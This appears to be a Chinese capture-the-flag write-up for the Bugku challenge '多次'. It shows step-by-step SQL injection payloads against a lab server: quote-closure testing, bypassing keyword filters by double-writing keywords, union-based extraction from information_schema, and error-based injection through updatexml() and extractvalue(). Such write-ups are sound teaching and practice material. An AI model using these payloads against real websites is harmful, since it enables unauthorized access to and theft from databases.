欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Bugku_多次

程序员文章站 2022-07-16 15:51:23
...

Bugku_多次
打开题目,发现页面上啥也没有,但是URl地址栏里有id的参数传进去,将id=1 换成id=2,页面信息发生变化,立马就想到了可能存在SQL注入。
测试闭合方式

id=1'  //报错
id=1"  //不报错

此时确定闭合方式为单引号闭合
接着可以利用异或方式测试一下是否有对一些SQL注入的关键字有过滤。例如^(length(‘or’)!=0)如果返回页面显示正常,那就证明length(‘or’)==0的,也就是or被过滤了,通过测试发现,select or and union被过滤了,但是我们可以通过双写进行绕过。
Bugku_多次
接着猜解字段数:http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2--+通过二分法测试的到有两个字段。
接着猜解回显位置:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2--+,发现2的位置为输出点

猜解表名:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
Bugku_多次

猜解列名:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
Bugku_多次
猜解字段内容:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(flag1) from flag1--+
Bugku_多次
提交flag发现,这不是flag,然后猜解address里的内容:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(address) from flag1--+
Bugku_多次
此时就明白为啥题目名字叫多次了。

Bugku_多次
这里看到My id=1 并且URL地址栏里还有Id传参,猜测到还是一个注入题目。
通过上边的方法测试得到还是单引号闭合,然后这是一个报错注入,可以使用updatexml()和extractvalue()函数报错注入

extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数
updatexml(目标xml文档,xml路径,更新的内容):与extractvalue()类似,是更新xml文档的函数

使用updatexml()进行注入:
猜解表名:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
Bugku_多次
猜解字段名:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( column_name) from information_schema.columns where table_name='flag2'),0x7e),1)--+
Bugku_多次
猜解字段内容:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( flag2,address) from flag2),0x7e),1)--+
Bugku_多次
得到flag

使用extractvalue()进行注入:
猜解表名:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
猜解字段名:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+
猜解字段内容:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag2,address) from flag2),0x7e))--+